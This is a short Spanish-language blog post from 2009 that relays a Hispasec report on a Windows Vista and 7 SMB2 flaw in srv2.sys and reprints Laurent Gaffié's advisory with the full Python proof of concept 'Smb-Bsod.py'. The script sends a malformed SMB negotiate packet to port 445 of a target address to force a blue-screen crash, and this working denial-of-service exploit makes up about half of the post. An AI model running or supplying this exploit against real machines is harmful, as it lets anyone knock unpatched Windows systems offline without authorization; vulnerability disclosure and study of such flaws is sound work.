martes, 8 de septiembre de 2009

(BSOD) en Windows Vista y 7 a través de unidades compartidas

Segun Hispasec - una-al-día www.hispasec.com

El fallo (incomprensiblemente simple) está en el intérprete de las cabeceras SMB, concretamente en el driver srv2.sys. Como los controladores operan en el "ring0", la capa de abstracción del sistema operativo más cercana al hardware (en contraste con el "ring3", la capa de usuario que no interactúa directamente con él) un fallo en cualquier driver provoca que el sistema se bloquee por completo, al no poder manejar la excepción correctamente. Se trata del temido pantallazo azul o BSOD. Los Windows anteriores a Windows 2000 no realizaban esta separación de seguridad entre capas, por lo que todo operaba en el mismo espacio de memoria y los fallos en el espacio de usuario podían causar un bloqueo total del sistema. De ahí que los pantallazos azules fuesen mucho más comunes en Windows 9x y Me.

http://g-laurent.blogspot.com/
=============================================
- Release date: September 7th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium/High
=============================================


Smb-Bsod.py:

#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()


No hay comentarios:

Publicar un comentario